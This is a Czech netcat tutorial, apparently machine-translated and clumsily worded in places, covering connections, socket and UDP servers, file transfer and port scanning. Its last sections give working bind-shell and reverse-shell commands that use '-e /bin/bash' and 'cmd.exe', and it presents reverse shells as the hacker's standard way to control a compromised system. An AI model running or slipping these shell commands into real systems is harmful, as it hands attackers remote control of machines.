Netcat
Netcat je terminál aplikace, které je podobné jako telnet program, ale má mnohem více funkcí.
je to „výkonová verze“ tradičního programu telnet.
kromě základních funkcí telnet může dělat různé další věci, jako je vytváření soketových serverů pro poslech příchozích připojení na portech, přenos souborů z terminálu atd.
takže je to malý nástroj, který je nabitý spoustou funkcí., Proto se nazývá „švýcarský armádní nůž pro TCP / IP“.
netcat manuál definuje netcat jako
Netcat is a computer networking service for reading from and writing network connections using TCP or UDP. Netcat is designed to be a dependable "back-end" device that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and investigation tool, since it can produce almost any kind of correlation you would need and has a number of built-in capabilities.
Takže v podstatě netcat je nástroj, udělat nějaké obousměrné síťové komunikace přes TCP/UDP protokoly.
technicky vzato může netcat fungovat jako socket server nebo klient a komunikovat s jinými programy současně odesílat a přijímat data prostřednictvím sítě.
taková definice zní příliš genericky a ztěžuje pochopení toho, co přesně tento nástroj dělá a pro co je užitečný., To lze pochopit pouze použitím a hraním s ním.
Ncat
takže první věc, kterou byste měli udělat, by bylo nastavení netcat na vašem počítači. Netcat přichází v různých příchutích. Znamená to, že je k dispozici od více dodavatelů.
ale většina z nich má podobné funkce. Na Ubuntu jsou 3 balíčky s názvem netcat-openbsd, netcat-traditional a ncat.
Moje preferovaná verze je ncat. NCAT byl vyvinut týmem nmap je nejlepší ze všech dostupných netcat a hlavně jeho cross platform a funguje velmi dobře na windows.,
webové stránky projektu:
Install Ncat na Windows
Windows verze netcat lze stáhnout z
jednoduše stáhnout a extrahovat soubory někde vhodné.
Nebo stáhnout ncat windows verze
Instalovat Ncat na Ubuntu / Linux Mint / Linux
Ubuntu syntaptic balíček má netcat-openbsd a netcat-tradiční balíčky jsou k dispozici. Nainstalujte oba. Nmap také přichází s implementací netcat s názvem ncat. Nainstalujte to také.,
nainstalujte na Ubuntu
$ sudo apt-get install netcat-traditional netcat-openbsd nmap
pro použití netcat-openbsd implementace použijte příkaz“ nc“.
pro použití netcat-tradiční použití implementace „nc.tradiční “ příkaz
pro použití Nmap ncat použijte příkaz „ncat“.
příklady příkazů Netcat
v následujícím tutoriálu je všechny použijeme různými příklady různými způsoby.
Telnet
úplně první věc, kterou netcat lze použít jako je program telnet. Uvidíme jak.
$ nc -v google.com 80
nyní je netcat připojen k google.com na portu 80 a jeho čas poslat nějakou zprávu., Zkusme načíst indexovou stránku. Pro tento typ “ získat index.html HTTP / 1.1 “ a dvakrát stiskněte klávesu Enter. Pamatuj si dvakrát.
výstup z google.com byl přijat a zopakoval na terminálu.
simple socket server
Chcete-li otevřít jednoduchý Typ socket serveru v následujícím příkazu.
$ nc -l -v 1234
výše uvedený příkaz znamená: Netcat poslouchat TCP port 1234. Volba-V poskytuje podrobný výstup pro lepší pochopení., Teď z jiného terminálu, zkuste se připojit na port 1234 pomocí telnet následující příkaz :
$ telnet localhost 1234Trying 127.0.0.1...Connected to localhost.Escape character is '^]'.abcting tong
Po připojení jsme poslat nějaké testovací zprávu jako abc a ting tong na netcat socket server. Socket Server netcat bude odrážet data přijatá od klienta telnet.
$ nc -l -v 5555Connection from 127.0.0.1 port 5555 acceptedabcting tong
jedná se o kompletní chatovací systém. Zadejte něco do terminálu netcat a zobrazí se také v terminálu telnet. Takže tato technika může být použita pro chatování mezi 2 stroje.,
kompletní ECHO Server
Ncat s volbou-c lze použít ke spuštění echo serveru. Zdroj
spusťte echo server pomocí ncat takto
$ ncat -v -l -p 5555 -c 'while true; do read i && echo $i; done'
nyní z jiného terminálu připojte pomocí telnetu a zadejte něco. Bude odeslán zpět s předponou““.
verze netcat-openbsd nemá možnost-c. Nezapomeňte vždy použít volbu-v pro verbose výstup.
Poznámka: Netcat může být řečeno, uložit data do souboru namísto ozvěny do terminálu.,
$ nc -l -v 1234 > data.txt
Vytvořte UDP Server
Netcat pracuje také s porty udp. Začít netcat serveru pomocí udp portů pomocí volby-u
$ nc -v -ul 7000
UDP Klient
Připojit k tomuto serveru pomocí netcat z jiného terminálu
$ nc localhost -u 7000
Nyní oba terminály mohou chatovat s sebou.
přenos souborů
celý soubor lze přenést pomocí netcat. Zde je rychlý příklad.
One machine a-Send File
$ cat happy.txt | ncat -v -l -p 5555Ncat: Version 5.21 ( http://nmap.org/ncat )Ncat: Listening on 0.0.0.0:5555
ve výše uvedeném příkazu příkaz cat čte a vydává obsah happy.txt., Výstup se neodráží do terminálu, místo toho je veden nebo přiváděn do ncat, který otevřel socket server na portu 5555.
Na stroj B – Příjem Souboru
$ ncat localhost 5555 > happy_copy.txt
výše uvedený příkaz ncat se připojit na localhost na port 5555 a co je obdrží budou zapsány do happy_copy.txt
nyní happy_copy.txt bude kopií happy.txt vzhledem k tomu, že data jsou odesílána přes port 5555, je obsah happy.txt v předchozím příkazu.
Netcat odešle soubor pouze prvnímu klientovi, který se k němu připojí. Poté je konec.,
a poté, co první klient uzavře připojení, netcat server také ukončí připojení.
skenování portů
Netcat lze také použít pro skenování portů. Nejedná se však o správné používání netcat a měl by být použit použitelnější nástroj, jako je nmap.
„- n“ parametr zde zabraňuje DNS vyhledávání „-z“ dělá nc nebude přijímat žádná data ze serveru, a „-w 1“ umožňuje připojení timeout po 1 vteřině nečinnosti.
Remote Shell/Backdoor
Ncat lze použít ke spuštění základního shellu na vzdáleném systému na portu bez potřeby ssh., Zde je rychlý příklad.
$ ncat -v -l -p 7777 -e /bin/bash
výše uvedené spustí server na portu 7777 a bude předávat všechny příchozí vstup do bash příkaz a výsledky budou posílat zpět. Příkaz v podstatě převádí program bash na server. Netcat lze tedy použít k převodu jakéhokoli procesu na server.
Připojit k této bash shell pomocí nc z jiného terminálu
$ nc localhost 7777
Nyní zkuste spustit libovolný příkaz jako pomoc , ls , pwd atd.
Windows
na Windows machine cmd.,exe (DOS prompt program) se používá ke spuštění podobného shellu pomocí netcat. Syntaxe příkazu je stejná.
C:\tools\nc>nc -v -l -n -p 8888 -e cmd.exelistening on 8888 ...connect to from (UNKNOWN) 1182
další konzole lze připojit pomocí příkazu telnet
i když netcat i když může být použit k nastavení dálkového skořápky, není užitečné, aby si interaktivní shell na vzdáleném systému, protože ve většině případů netcat by neměla být nainstalován na vzdáleném systému.
nejúčinnější způsob, jak získat shell na vzdáleném počítači pomocí netcat, je vytvoření zpětných skořepin.,
reverzní skořápky
Jedná se o nejvýkonnější funkci netcat, pro kterou je hackeři nejvíce využíváni. Netcat se používá téměř ve všech technikách reverzního shellu k zachycení zpětného připojení shellového programu z hacknutého systému.
reverzní telnet
první umožňuje vzít příklad jednoduchého zpětného připojení telnet. V ordinate telnet connection se klient připojí k serveru a spustí komunikační kanál.
Your system runs (# telnet server port_number) =============> Server
nyní pomocí výše uvedené techniky se můžete připojit k portu 80 serveru a načíst webovou stránku., Hacker má však zájem o získání příkazového shellu. Je to příkazový řádek systému windows nebo terminálu Linuxu. Příkazový shell poskytuje maximální kontrolu nad vzdáleným systémem. Nyní na vzdáleném serveru není spuštěna žádná služba, ke které se můžete připojit a získat příkazový shell.
takže když hacker hackne do systému, musí získat příkazový shell. Vzhledem k tomu, že to není možné přímo, řešením je použít reverzní plášť. V opačném shellu server iniciuje připojení k hackerskému počítači a dává příkazový shell.,
Step 1 : Hacker machine (waiting for incoming connection)Step 2 : Server ==============> Hacker machine
Chcete-li čekat na příchozí připojení, musí být otevřen místní posluchač soketu. Netcat / ncat to může udělat.
nejprve musí být spuštěn server netcat na místním počítači nebo hackerském počítači.
pratelné
$ ncat -v -l -p 8888Ncat: Version 6.00 ( http://nmap.org/ncat )Ncat: Listening on :::8888Ncat: Listening on 0.0.0.0:8888
výše začne socket server (naslouchání) na portu 8888 na místní stroj/hacker stroj.
nyní musí být na cílovém stroji/hacknutém počítači spuštěn reverzní shell. Existuje řada způsobů, jak spustit reverzní skořápky.,
na jakýkoli způsob práce, hacker buď musí být schopen spustit libovolný příkaz v systému, nebo by měl být schopen nahrát soubor, který může být spuštěn otevřením z prohlížeče (jako php skript).
v tomto příkladu neděláme ani jednu z výše uvedených věcí. Budeme jen spustit netcat na serveru také hodit reverzní příkaz shell demonstrovat koncept. Netcat by tedy měl být nainstalován na Serveru nebo cílovém počítači.,
Pratelné B :
$ ncat localhost 8888 -e /bin/bash
Tento příkaz se připojí k počítači na port 8888 a krmiva ve výstupu bash účinně dávat shell stroj. a stroj může spustit libovolný příkaz na stroj B.
Pratelné
V reálném hacking/penetrační testování scénář není možné spustit netcat na cílový stroj. Proto se používají jiné techniky k vytvoření shellu. Patří mezi ně nahrávání reverzní shell php skripty a jejich spuštění otevřením v prohlížeči. Nebo spuštění přetečení vyrovnávací paměti využít k provedení reverzní shell užitečné zatížení.,
Závěr
ve výše uvedených příkladech jsme viděli, jak používat netcat pro různé síťové aktivity, jako je telnet, reverzní granáty atd. Hackeři ji většinou používají k vytváření rychlých zpětných skořepin.
v tomto tutoriálu jsme se zabývali některými základními a běžnými způsoby použití netcat. Podívejte se na článek wikipedia pro více informací o tom, co jiného netcat může dělat.